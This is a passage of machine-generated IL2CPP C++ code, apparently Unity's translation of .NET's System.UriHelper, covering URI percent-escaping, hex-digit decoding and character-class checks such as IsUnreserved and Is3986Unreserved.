(intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_5)), (int32_t)2))))); IL2CPP_RUNTIME_CLASS_INIT(Char_tBF22D9FC341BE970735250BB6FF1A4A92BBA58B9_il2cpp_TypeInfo_var); bool L_7 = Char_IsHighSurrogate_m64C60C09A8561520E43C8527D3DC38FF97E6274D(L_6, /*hidden argument*/NULL); V_4 = L_7; Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * L_8 = Encoding_get_UTF8_m67C8652936B681E7BC7505E459E88790E0FF16D9(/*hidden argument*/NULL); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_9 = ___unescapedChars3; int32_t L_10 = V_3; bool L_11 = V_4; G_B6_0 = L_10; G_B6_1 = L_9; G_B6_2 = L_8; if (L_11) { G_B7_0 = L_10; G_B7_1 = L_9; G_B7_2 = L_8; goto IL_003d; } } { G_B8_0 = 1; G_B8_1 = G_B6_0; G_B8_2 = G_B6_1; G_B8_3 = G_B6_2; goto IL_003e; } IL_003d: { G_B8_0 = 2; G_B8_1 = G_B7_0; G_B8_2 = G_B7_1; G_B8_3 = G_B7_2; } IL_003e: { NullCheck(G_B8_3); ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_12 = VirtFuncInvoker3< ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821*, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*, int32_t, int32_t >::Invoke(23 /* System.Byte[] System.Text.Encoding::GetBytes(System.Char[],System.Int32,System.Int32) */, G_B8_3, G_B8_2, G_B8_1, G_B8_0); V_5 = L_12; ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_13 = V_5; NullCheck(L_13); V_6 = (((int32_t)((int32_t)(((RuntimeArray *)L_13)->max_length)))); V_7 = (bool)0; bool L_14 = ___iriParsing8; if (!L_14) { goto IL_008b; } } { bool L_15 = V_4; if (L_15) { goto IL_0064; } } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_16 = ___unescapedChars3; int32_t L_17 = V_3; NullCheck(L_16); int32_t L_18 = L_17; uint16_t L_19 = (uint16_t)(L_16)->GetAt(static_cast<il2cpp_array_size_t>(L_18)); bool L_20 = ___isQuery7; bool L_21 = IriHelper_CheckIriUnicodeRange_mA9BAAD6D244ADEE8986FDC0DFB3DFDA90C093A6C(L_19, L_20, /*hidden argument*/NULL); V_7 = L_21; goto IL_008b; } IL_0064: { V_8 = (bool)0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_22 = ___unescapedChars3; int32_t L_23 = V_3; NullCheck(L_22); int32_t L_24 = L_23; uint16_t L_25 = (uint16_t)(L_22)->GetAt(static_cast<il2cpp_array_size_t>(L_24)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_26 = ___unescapedChars3; int32_t L_27 = V_3; NullCheck(L_26); int32_t L_28 = ((int32_t)il2cpp_codegen_add((int32_t)L_27, (int32_t)1)); uint16_t L_29 = (uint16_t)(L_26)->GetAt(static_cast<il2cpp_array_size_t>(L_28)); bool L_30 = ___isQuery7; bool L_31 = IriHelper_CheckIriUnicodeRange_m5ED29083C22062AEAB8B5787C9A27CFEEC397AD9(L_25, L_29, (bool*)(&V_8), L_30, /*hidden argument*/NULL); V_7 = L_31; goto IL_008b; } IL_007c: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_32 = ___bytes5; int32_t L_33 = V_0; int32_t L_34 = L_33; V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_34, (int32_t)1)); NullCheck(L_32); int32_t L_35 = L_34; uint8_t L_36 = (L_32)->GetAt(static_cast<il2cpp_array_size_t>(L_35)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_37 = ___dest1; int32_t* L_38 = ___destOffset2; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_36, L_37, (int32_t*)L_38, /*hidden argument*/NULL); } IL_008b: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_39 = ___bytes5; int32_t L_40 = V_0; NullCheck(L_39); int32_t L_41 = L_40; uint8_t L_42 = (L_39)->GetAt(static_cast<il2cpp_array_size_t>(L_41)); ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_43 = V_5; NullCheck(L_43); int32_t L_44 = 0; uint8_t L_45 = (L_43)->GetAt(static_cast<il2cpp_array_size_t>(L_44)); if ((!(((uint32_t)L_42) == ((uint32_t)L_45)))) { goto IL_007c; } } { V_9 = (bool)1; V_10 = 0; goto IL_00b6; } IL_009d: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_46 = ___bytes5; int32_t L_47 = V_0; int32_t L_48 = V_10; NullCheck(L_46); int32_t L_49 = ((int32_t)il2cpp_codegen_add((int32_t)L_47, (int32_t)L_48)); uint8_t L_50 = (L_46)->GetAt(static_cast<il2cpp_array_size_t>(L_49)); ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_51 = V_5; int32_t L_52 = V_10; NullCheck(L_51); int32_t L_53 = L_52; uint8_t L_54 = (L_51)->GetAt(static_cast<il2cpp_array_size_t>(L_53)); if ((((int32_t)L_50) == ((int32_t)L_54))) { goto IL_00b0; } } { V_9 = (bool)0; goto IL_00bc; } IL_00b0: { int32_t L_55 = V_10; V_10 = ((int32_t)il2cpp_codegen_add((int32_t)L_55, (int32_t)1)); } IL_00b6: { int32_t L_56 = V_10; int32_t L_57 = V_6; if ((((int32_t)L_56) < ((int32_t)L_57))) { goto IL_009d; } } IL_00bc: { bool L_58 = V_9; if (!L_58) { goto IL_0179; } } { int32_t L_59 = V_0; int32_t L_60 = V_6; V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_59, (int32_t)L_60)); bool L_61 = ___iriParsing8; if (!L_61) { goto IL_013f; } } { bool L_62 = V_7; if (L_62) { goto IL_00f4; } } { V_11 = 0; goto IL_00e7; } IL_00d5: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_63 = V_5; int32_t L_64 = V_11; NullCheck(L_63); int32_t L_65 = L_64; uint8_t L_66 = (L_63)->GetAt(static_cast<il2cpp_array_size_t>(L_65)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_67 = ___dest1; int32_t* L_68 = ___destOffset2; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_66, L_67, (int32_t*)L_68, /*hidden argument*/NULL); int32_t L_69 = V_11; V_11 = ((int32_t)il2cpp_codegen_add((int32_t)L_69, (int32_t)1)); } IL_00e7: { int32_t L_70 = V_11; ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_71 = V_5; NullCheck(L_71); if ((((int32_t)L_70) < ((int32_t)(((int32_t)((int32_t)(((RuntimeArray *)L_71)->max_length))))))) { goto IL_00d5; } } { goto IL_019e; } IL_00f4: { Il2CppChar* L_72 = V_1; int32_t L_73 = V_3; int32_t L_74 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_72, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_73)), (int32_t)2))))); IL2CPP_RUNTIME_CLASS_INIT(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_il2cpp_TypeInfo_var); bool L_75 = Uri_IsBidiControlCharacter_mB14EA5816A434B7CE382EB9ACBD1432916EC341D(L_74, /*hidden argument*/NULL); if (L_75) { goto IL_019e; } } { Il2CppChar* L_76 = ___pDest0; int32_t* L_77 = ___destOffset2; int32_t* L_78 = ___destOffset2; int32_t L_79 = *((int32_t*)L_78); V_12 = L_79; int32_t L_80 = V_12; *((int32_t*)L_77) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_80, (int32_t)1)); int32_t L_81 = V_12; Il2CppChar* L_82 = V_1; int32_t L_83 = V_3; int32_t L_84 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_82, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_83)), (int32_t)2))))); *((int16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_76, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_81)), (int32_t)2))))) = (int16_t)L_84; bool L_85 = V_4; if (!L_85) { goto IL_019e; } } { Il2CppChar* L_86 = ___pDest0; int32_t* L_87 = ___destOffset2; int32_t* L_88 = ___destOffset2; int32_t L_89 = *((int32_t*)L_88); V_12 = L_89; int32_t L_90 = V_12; *((int32_t*)L_87) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_90, (int32_t)1)); int32_t L_91 = V_12; Il2CppChar* L_92 = V_1; int32_t L_93 = V_3; int32_t L_94 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_92, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_93, (int32_t)1)))), (int32_t)2))))); *((int16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_86, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_91)), (int32_t)2))))) = (int16_t)L_94; goto IL_019e; } IL_013f: { Il2CppChar* L_95 = ___pDest0; int32_t* L_96 = ___destOffset2; int32_t* L_97 = ___destOffset2; int32_t L_98 = *((int32_t*)L_97); V_12 = L_98; int32_t L_99 = V_12; *((int32_t*)L_96) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_99, (int32_t)1)); int32_t L_100 = V_12; Il2CppChar* L_101 = V_1; int32_t L_102 = V_3; int32_t L_103 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_101, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_102)), (int32_t)2))))); *((int16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_95, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_100)), (int32_t)2))))) = (int16_t)L_103; bool L_104 = V_4; if (!L_104) { goto IL_019e; } } { Il2CppChar* L_105 = ___pDest0; int32_t* L_106 = ___destOffset2; int32_t* L_107 = ___destOffset2; int32_t L_108 = *((int32_t*)L_107); V_12 = L_108; int32_t L_109 = V_12; *((int32_t*)L_106) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_109, (int32_t)1)); int32_t L_110 = V_12; Il2CppChar* L_111 = V_1; int32_t L_112 = V_3; int32_t L_113 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_111, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_112, (int32_t)1)))), (int32_t)2))))); *((int16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_105, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_110)), (int32_t)2))))) = (int16_t)L_113; goto IL_019e; } IL_0179: { V_13 = 0; goto IL_0193; } IL_017e: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_114 = ___bytes5; int32_t L_115 = V_0; int32_t L_116 = L_115; V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_116, (int32_t)1)); NullCheck(L_114); int32_t L_117 = L_116; uint8_t L_118 = (L_114)->GetAt(static_cast<il2cpp_array_size_t>(L_117)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_119 = ___dest1; int32_t* L_120 = ___destOffset2; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_118, L_119, (int32_t*)L_120, /*hidden argument*/NULL); int32_t L_121 = V_13; V_13 = ((int32_t)il2cpp_codegen_add((int32_t)L_121, (int32_t)1)); } IL_0193: { int32_t L_122 = V_13; int32_t L_123 = V_10; if ((((int32_t)L_122) < ((int32_t)L_123))) { goto IL_017e; } } { goto IL_008b; } IL_019e: { bool L_124 = V_4; if (!L_124) { goto IL_01a6; } } { int32_t L_125 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_125, (int32_t)1)); } IL_01a6: { int32_t L_126 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_126, (int32_t)1)); } IL_01aa: { int32_t L_127 = V_3; int32_t L_128 = ___charCount4; if ((((int32_t)L_127) < ((int32_t)L_128))) { goto IL_0021; } } { V_2 = (CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*)NULL; goto IL_01c5; } IL_01b6: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_129 = ___bytes5; int32_t L_130 = V_0; int32_t L_131 = L_130; V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_131, (int32_t)1)); NullCheck(L_129); int32_t L_132 = L_131; uint8_t L_133 = (L_129)->GetAt(static_cast<il2cpp_array_size_t>(L_132)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_134 = ___dest1; int32_t* L_135 = ___destOffset2; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_133, L_134, (int32_t*)L_135, /*hidden argument*/NULL); } IL_01c5: { int32_t L_136 = V_0; int32_t L_137 = ___byteCount6; if ((((int32_t)L_136) < ((int32_t)L_137))) { goto IL_01b6; } } { return; } } // System.Void System.UriHelper::EscapeAsciiChar(System.Char,System.Char[],System.Int32U26) extern "C" IL2CPP_METHOD_ATTR void UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902 (Il2CppChar ___ch0, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___to1, int32_t* ___pos2, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_0 = ___to1; int32_t* L_1 = ___pos2; int32_t* L_2 = ___pos2; int32_t L_3 = *((int32_t*)L_2); V_0 = L_3; int32_t L_4 = V_0; *((int32_t*)L_1) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_4, (int32_t)1)); int32_t L_5 = V_0; NullCheck(L_0); (L_0)->SetAt(static_cast<il2cpp_array_size_t>(L_5), (Il2CppChar)((int32_t)37)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_6 = ___to1; int32_t* L_7 = ___pos2; int32_t* L_8 = ___pos2; int32_t L_9 = *((int32_t*)L_8); V_0 = L_9; int32_t L_10 = V_0; *((int32_t*)L_7) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_10, (int32_t)1)); int32_t L_11 = V_0; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_12 = ((UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_StaticFields*)il2cpp_codegen_static_fields_for(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var))->get_HexUpperChars_0(); Il2CppChar L_13 = ___ch0; NullCheck(L_12); int32_t L_14 = ((int32_t)((int32_t)((int32_t)((int32_t)L_13&(int32_t)((int32_t)240)))>>(int32_t)4)); uint16_t L_15 = (uint16_t)(L_12)->GetAt(static_cast<il2cpp_array_size_t>(L_14)); NullCheck(L_6); (L_6)->SetAt(static_cast<il2cpp_array_size_t>(L_11), (Il2CppChar)L_15); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_16 = ___to1; int32_t* L_17 = ___pos2; int32_t* L_18 = ___pos2; int32_t L_19 = *((int32_t*)L_18); V_0 = L_19; int32_t L_20 = V_0; *((int32_t*)L_17) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_20, (int32_t)1)); int32_t L_21 = V_0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_22 = ((UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_StaticFields*)il2cpp_codegen_static_fields_for(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var))->get_HexUpperChars_0(); Il2CppChar L_23 = ___ch0; NullCheck(L_22); int32_t L_24 = ((int32_t)((int32_t)L_23&(int32_t)((int32_t)15))); uint16_t L_25 = (uint16_t)(L_22)->GetAt(static_cast<il2cpp_array_size_t>(L_24)); NullCheck(L_16); (L_16)->SetAt(static_cast<il2cpp_array_size_t>(L_21), (Il2CppChar)L_25); return; } } // System.Char System.UriHelper::EscapedAscii(System.Char,System.Char) extern "C" IL2CPP_METHOD_ATTR Il2CppChar UriHelper_EscapedAscii_m06D556717795E649EBBB30E4CBCF3D221C1FEB78 (Il2CppChar ___digit0, Il2CppChar ___next1, const RuntimeMethod* method) { int32_t V_0 = 0; int32_t G_B11_0 = 0; int32_t G_B13_0 = 0; int32_t G_B25_0 = 0; int32_t G_B21_0 = 0; int32_t G_B23_0 = 0; int32_t G_B22_0 = 0; int32_t G_B24_0 = 0; int32_t G_B24_1 = 0; int32_t G_B26_0 = 0; int32_t G_B26_1 = 0; { Il2CppChar L_0 = ___digit0; if ((((int32_t)L_0) < ((int32_t)((int32_t)48)))) { goto IL_000a; } } { Il2CppChar L_1 = ___digit0; if ((((int32_t)L_1) <= ((int32_t)((int32_t)57)))) { goto IL_0024; } } IL_000a: { Il2CppChar L_2 = ___digit0; if ((((int32_t)L_2) < ((int32_t)((int32_t)65)))) { goto IL_0014; } } { Il2CppChar L_3 = ___digit0; if ((((int32_t)L_3) <= ((int32_t)((int32_t)70)))) { goto IL_0024; } } IL_0014: { Il2CppChar L_4 = ___digit0; if ((((int32_t)L_4) < ((int32_t)((int32_t)97)))) { goto IL_001e; } } { Il2CppChar L_5 = ___digit0; if ((((int32_t)L_5) <= ((int32_t)((int32_t)102)))) { goto IL_0024; } } IL_001e: { return ((int32_t)65535); } IL_0024: { Il2CppChar L_6 = ___digit0; if ((((int32_t)L_6) <= ((int32_t)((int32_t)57)))) { goto IL_003d; } } { Il2CppChar L_7 = ___digit0; if ((((int32_t)L_7) <= ((int32_t)((int32_t)70)))) { goto IL_0034; } } { Il2CppChar L_8 = ___digit0; G_B11_0 = ((int32_t)il2cpp_codegen_subtract((int32_t)L_8, (int32_t)((int32_t)97))); goto IL_0038; } IL_0034: { Il2CppChar L_9 = ___digit0; G_B11_0 = ((int32_t)il2cpp_codegen_subtract((int32_t)L_9, (int32_t)((int32_t)65))); } IL_0038: { G_B13_0 = ((int32_t)il2cpp_codegen_add((int32_t)G_B11_0, (int32_t)((int32_t)10))); goto IL_0041; } IL_003d: { Il2CppChar L_10 = ___digit0; G_B13_0 = ((int32_t)il2cpp_codegen_subtract((int32_t)L_10, (int32_t)((int32_t)48))); } IL_0041: { V_0 = G_B13_0; Il2CppChar L_11 = ___next1; if ((((int32_t)L_11) < ((int32_t)((int32_t)48)))) { goto IL_004c; } } { Il2CppChar L_12 = ___next1; if ((((int32_t)L_12) <= ((int32_t)((int32_t)57)))) { goto IL_0066; } } IL_004c: { Il2CppChar L_13 = ___next1; if ((((int32_t)L_13) < ((int32_t)((int32_t)65)))) { goto IL_0056; } } { Il2CppChar L_14 = ___next1; if ((((int32_t)L_14) <= ((int32_t)((int32_t)70)))) { goto IL_0066; } } IL_0056: { Il2CppChar L_15 = ___next1; if ((((int32_t)L_15) < ((int32_t)((int32_t)97)))) { goto IL_0060; } } { Il2CppChar L_16 = ___next1; if ((((int32_t)L_16) <= ((int32_t)((int32_t)102)))) { goto IL_0066; } } IL_0060: { return ((int32_t)65535); } IL_0066: { int32_t L_17 = V_0; Il2CppChar L_18 = ___next1; G_B21_0 = ((int32_t)((int32_t)L_17<<(int32_t)4)); if ((((int32_t)L_18) <= ((int32_t)((int32_t)57)))) { G_B25_0 = ((int32_t)((int32_t)L_17<<(int32_t)4)); goto IL_0082; } } { Il2CppChar L_19 = ___next1; G_B22_0 = G_B21_0; if ((((int32_t)L_19) <= ((int32_t)((int32_t)70)))) { G_B23_0 = G_B21_0; goto IL_0079; } } { Il2CppChar L_20 = ___next1; G_B24_0 = ((int32_t)il2cpp_codegen_subtract((int32_t)L_20, (int32_t)((int32_t)97))); G_B24_1 = G_B22_0; goto IL_007d; } IL_0079: { Il2CppChar L_21 = ___next1; G_B24_0 = ((int32_t)il2cpp_codegen_subtract((int32_t)L_21, (int32_t)((int32_t)65))); G_B24_1 = G_B23_0; } IL_007d: { G_B26_0 = ((int32_t)il2cpp_codegen_add((int32_t)G_B24_0, (int32_t)((int32_t)10))); G_B26_1 = G_B24_1; goto IL_0086; } IL_0082: { Il2CppChar L_22 = ___next1; G_B26_0 = ((int32_t)il2cpp_codegen_subtract((int32_t)L_22, (int32_t)((int32_t)48))); G_B26_1 = G_B25_0; } IL_0086: { return (((int32_t)((uint16_t)((int32_t)il2cpp_codegen_add((int32_t)G_B26_1, (int32_t)G_B26_0))))); } } // System.Boolean System.UriHelper::IsNotSafeForUnescape(System.Char) extern "C" IL2CPP_METHOD_ATTR bool UriHelper_IsNotSafeForUnescape_m1D0461E7C5A3CFBD7A2A7F7322B66BC68CCE741D (Il2CppChar ___ch0, const RuntimeMethod* method) { { Il2CppChar L_0 = ___ch0; if ((((int32_t)L_0) <= ((int32_t)((int32_t)31)))) { goto IL_0012; } } { Il2CppChar L_1 = ___ch0; if ((((int32_t)L_1) < ((int32_t)((int32_t)127)))) { goto IL_0014; } } { Il2CppChar L_2 = ___ch0; if ((((int32_t)L_2) > ((int32_t)((int32_t)159)))) { goto IL_0014; } } IL_0012: { return (bool)1; } IL_0014: { Il2CppChar L_3 = ___ch0; if ((((int32_t)L_3) < ((int32_t)((int32_t)59)))) { goto IL_0025; } } { Il2CppChar L_4 = ___ch0; if ((((int32_t)L_4) > ((int32_t)((int32_t)64)))) { goto IL_0025; } } { Il2CppChar L_5 = ___ch0; if ((!(((uint32_t)((int32_t)((int32_t)L_5|(int32_t)2))) == ((uint32_t)((int32_t)62))))) { goto IL_0043; } } IL_0025: { Il2CppChar L_6 = ___ch0; if ((((int32_t)L_6) < ((int32_t)((int32_t)35)))) { goto IL_002f; } } { Il2CppChar L_7 = ___ch0; if ((((int32_t)L_7) <= ((int32_t)((int32_t)38)))) { goto IL_0043; } } IL_002f: { Il2CppChar L_8 = ___ch0; if ((((int32_t)L_8) == ((int32_t)((int32_t)43)))) { goto IL_0043; } } { Il2CppChar L_9 = ___ch0; if ((((int32_t)L_9) == ((int32_t)((int32_t)44)))) { goto IL_0043; } } { Il2CppChar L_10 = ___ch0; if ((((int32_t)L_10) == ((int32_t)((int32_t)47)))) { goto IL_0043; } } { Il2CppChar L_11 = ___ch0; if ((!(((uint32_t)L_11) == ((uint32_t)((int32_t)92))))) { goto IL_0045; } } IL_0043: { return (bool)1; } IL_0045: { return (bool)0; } } // System.Boolean System.UriHelper::IsReservedUnreservedOrHash(System.Char) extern "C" IL2CPP_METHOD_ATTR bool UriHelper_IsReservedUnreservedOrHash_m3D7256DABA7F540F8D379FC1D1C54F1C63E46059 (Il2CppChar ___c0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_IsReservedUnreservedOrHash_m3D7256DABA7F540F8D379FC1D1C54F1C63E46059_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Il2CppChar L_0 = ___c0; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); bool L_1 = UriHelper_IsUnreserved_mAADC7DCEEA864AFB49311696ABBDD76811FAAE48(L_0, /*hidden argument*/NULL); if (!L_1) { goto IL_000a; } } { return (bool)1; } IL_000a: { IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); bool L_2 = UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD(/*hidden argument*/NULL); if (!L_2) { goto IL_0027; } } { Il2CppChar L_3 = ___c0; NullCheck(_stringLiteral422C2FC455DA8AB1CCF099E014DADE733913E48A); int32_t L_4 = String_IndexOf_m2909B8CF585E1BD0C81E11ACA2F48012156FD5BD(_stringLiteral422C2FC455DA8AB1CCF099E014DADE733913E48A, L_3, /*hidden argument*/NULL); if ((((int32_t)L_4) >= ((int32_t)0))) { goto IL_0025; } } { Il2CppChar L_5 = ___c0; return (bool)((((int32_t)L_5) == ((int32_t)((int32_t)35)))? 1 : 0); } IL_0025: { return (bool)1; } IL_0027: { Il2CppChar L_6 = ___c0; NullCheck(_stringLiteral7608E1FF0B8CFEF39D687771BAC4DCB767C2C102); int32_t L_7 = String_IndexOf_m2909B8CF585E1BD0C81E11ACA2F48012156FD5BD(_stringLiteral7608E1FF0B8CFEF39D687771BAC4DCB767C2C102, L_6, /*hidden argument*/NULL); return (bool)((((int32_t)((((int32_t)L_7) < ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); } } // System.Boolean System.UriHelper::IsUnreserved(System.Char) extern "C" IL2CPP_METHOD_ATTR bool UriHelper_IsUnreserved_mAADC7DCEEA864AFB49311696ABBDD76811FAAE48 (Il2CppChar ___c0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_IsUnreserved_mAADC7DCEEA864AFB49311696ABBDD76811FAAE48_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Il2CppChar L_0 = ___c0; IL2CPP_RUNTIME_CLASS_INIT(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_il2cpp_TypeInfo_var); bool L_1 = Uri_IsAsciiLetterOrDigit_mEBA81E735141504B5804F0B3C94EC39B24AF8661(L_0, /*hidden argument*/NULL); if (!L_1) { goto IL_000a; } } { return (bool)1; } IL_000a: { IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); bool L_2 = UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD(/*hidden argument*/NULL); if (!L_2) { goto IL_0023; } } { Il2CppChar L_3 = ___c0; NullCheck(_stringLiteral5D7FEFA52F916FB1F734F27D1226BA1556F23E16); int32_t L_4 = String_IndexOf_m2909B8CF585E1BD0C81E11ACA2F48012156FD5BD(_stringLiteral5D7FEFA52F916FB1F734F27D1226BA1556F23E16, L_3, /*hidden argument*/NULL); return (bool)((((int32_t)((((int32_t)L_4) < ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); } IL_0023: { Il2CppChar L_5 = ___c0; NullCheck(_stringLiteral3AE3AD09884E848958DF67AFEC6B436733CEB84C); int32_t L_6 = String_IndexOf_m2909B8CF585E1BD0C81E11ACA2F48012156FD5BD(_stringLiteral3AE3AD09884E848958DF67AFEC6B436733CEB84C, L_5, /*hidden argument*/NULL); return (bool)((((int32_t)((((int32_t)L_6) < ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); } } // System.Boolean System.UriHelper::Is3986Unreserved(System.Char) extern "C" IL2CPP_METHOD_ATTR bool UriHelper_Is3986Unreserved_m3799F2ADA8C63DDB4995F82B974C8EC1DEEBA76A (Il2CppChar ___c0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_Is3986Unreserved_m3799F2ADA8C63DDB4995F82B974C8EC1DEEBA76A_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Il2CppChar L_0 = ___c0; IL2CPP_RUNTIME_CLASS_INIT(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_il2cpp_TypeInfo_var); bool L_1 = Uri_IsAsciiLetterOrDigit_mEBA81E735141504B5804F0B3C94EC39B24AF8661(L_0, /*hidden argument*/NULL); if (!L_1) { goto IL_000a; } } { return (bool)1; } IL_000a: { Il2CppChar L_2 = ___c0; NullCheck(_stringLiteral3AE3AD09884E848958DF67AFEC6B436733CEB84C); int32_t L_3 = String_IndexOf_m2909B8CF585E1BD0C81E11ACA2F48012156FD5BD(_stringLiteral3AE3AD09884E848958DF67AFEC6B436733CEB84C, L_2, /*hidden 